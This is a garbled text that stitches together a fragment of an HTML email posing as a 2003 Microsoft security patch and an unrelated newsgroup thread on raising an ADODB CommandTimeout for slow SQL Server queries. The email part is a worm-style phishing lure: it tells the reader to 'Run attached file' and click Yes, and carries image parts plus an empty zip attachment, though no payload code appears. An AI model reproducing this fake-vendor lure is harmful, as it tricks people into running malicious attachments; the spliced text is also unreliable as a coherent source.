SIZE=3D"1"><B><IMG SRC=3D"cid:tujuunv" = ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B> </FONT></TD><TD NOWRAP> <FONT SIZE=3D"1"> MS Internet Explorer, version 4.01 and later<BR> MS Outlook, version 8.00 and later<BR> MS Outlook Express, version 4.01 and later </FONT> </TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:tujuunv" = ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch = at the earliest opportunity.</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:tujuunv" = ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Run attached file. = Choose Yes on displayed dialog box.</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:tujuunv" = ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">You don't need to do = anything after installing this item.</FONT></TD> </TR> </TABLE> <BR> <TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2"> Microsoft Product Support Services and Knowledge Base articles can be found on the <A HREF=3D"http://support.microsoft.com/" = TARGET=3D"_top">Microsoft Technical Support</A> web site. = For security-related information about Microsoft products, please = visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top"> Microsoft Security Advisor</A> web site, = or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" = TARGET=3D"_top">Contact Us.</A> <BR><BR> Thank you for using Microsoft products.<BR><BR></FONT> <FONT SIZE=3D"1">Please do not reply to this message. = It was sent from an unmonitored e-mail address and we are unable = to respond to any replies.<BR></FONT> <HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%"> <FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and = products mentioned herein are the trademarks = of their respective owners.</FONT> </TD></TR></TABLE> <BR> <TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB"> <TR VALIGN=3D"TOP"> <TD WIDTH=3D"5"></TD> <TD> <FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B> <A class=3D'navtext' HREF=3D"http://www.microsoft.com/= contactus/contactus.asp" TARGET=3D"_top">Contact Us</A>  |  <A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" = TARGET=3D"_top">Legal</A>  |  <A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" = TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A> </FONT></B> </TD> </TR> <TR VALIGN=3D"MIDDLE"> <TD WIDTH=3D"5"></TD> <TD> <FONT COLOR=3D"#FFFFFF" SIZE=3D"1"> ©2003 Microsoft Corporation. All rights reserved. <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= info/cpyright.htm" TARGET=3D"_top">Terms of Use</A>  |  <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= info/privacy.htm" TARGET=3D"_top"> Privacy Statement</A> |  <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= enable/" TARGET=3D"_top">Accessibility</A> </FONT> </TD> </TR> </TABLE> </BODY> </HTML> --aymkndllgjdjn-- --emkxgnljhewush Content-Type: image/gif Content-Transfer-Encoding: base64 Content-ID: <rwvjuig> R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29 yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX 55SVoszN28vM2pGUr7S1vqqtv52frOPl8CQvaquz2Ojp7pmn3Ozu83OPzmmT6F1/xo6Voh9p2C5z 3EWC31mS40Zxr4uw6LXN8iZkuXmn55q97PH2/Yir1rbL5iVTh3Oj2cvX5Pv9/+/w8QF8606h62Wk 3n+dubnY9abB2c7n/83h9Nji6weK+CGJ4Vim6WyKpKWssgFyyAaV/0Km8Gyx6HW57FJxicDP2+Tt 9Pj8/wOa/wmL5wqd/w6V8heb91e5+mS9+VmLr4vD6qvc/b/j/Mbn/sTi9rvX6szq/tPt/9ju/dzx /+n2/+74//P6/+3w8hOh/xOW6yCm/iuu/zWv/0m4/XTH/IXK95TP9qPV9bfi/tDn9tfp9OP0/93r 9L3Izy6Vzj22/lrC/mfG/JvJ5JGntAyd6IbX/3zD6GzP/3jV/2uoxHqbqujv8g6MvJTj/2HF5pXV 606zz6Hp/63v/7j1/8Ps88b8/rbj5RKOkE2wr3OGhoKGhv7///Dx8V2alqvm4Zni1YPRvx5uVwyO X0q2hLTvw8X10gx2H4PXkkuoV5zkoQeADZu7mmzIVEO7HIXbaGfLMPz8+97d2/Px7v///+bl5eHg 4P7+/v39/fT09PLy8u7u7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAaAA7AAAI/gCVCRxI sKDBgwgTKlzIsKHDhxAjKgwiqs2kSJEgQfqyp2PHLxoxTmojSpTEkyglBrGYcU+el3n09PEDSFKg mzclAfLTRw/MPV4gjTSZsmhRURchuXwUs88fSYIGubEiqyqAq1gBNLPiRlCgPz197tE4MojRswuD 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 --emkxgnljhewush Content-Type: image/gif Content-Transfer-Encoding: base64 Content-ID: <tujuunv> R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St 3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7 zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza BxcFCjgwgQSJCQcWCggIADs= --emkxgnljhewush-- --xuwvoiwsifl Content-Type: application/x-compressed; name="lmivpa.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment --xuwvoiwsifl-- Tag: SQL Timeout Tag: 275193

Dear all,

I need run a few large queries for one time only. But I get scripttimeout.
So I set up server.ScriptTimeout value. It works fine.

But for one query, system gives me the following error:

Microsoft OLE DB Provider for SQL Server (0x80040E31)
Timeout expired

No matter how much I increase ScriptTimeout value, I still have the same
error.

Is there a setting for SQL server timeout value?

Thanks,

Lin Ma

Top

Re: SQL Timeout by Richard

Richard
Wed Oct 15 11:34:03 CDT 2003

Script timeout value has no effect on SQL timeout. You have to change the
value of your ADODB.Connection's CommandTimeout property to something long
enough to allow your SQL server to do the work.

R.

"Lin Ma" <a@a.com> wrote in message
news:ODGDLlzkDHA.1728@TK2MSFTNGP11.phx.gbl...
> Dear all,
>
> I need run a few large queries for one time only. But I get scripttimeout.
> So I set up server.ScriptTimeout value. It works fine.
>
> But for one query, system gives me the following error:
>
> Microsoft OLE DB Provider for SQL Server (0x80040E31)
> Timeout expired
>
> No matter how much I increase ScriptTimeout value, I still have the same
> error.
>
> Is there a setting for SQL server timeout value?
>
> Thanks,
>
> Lin Ma
>
>

Top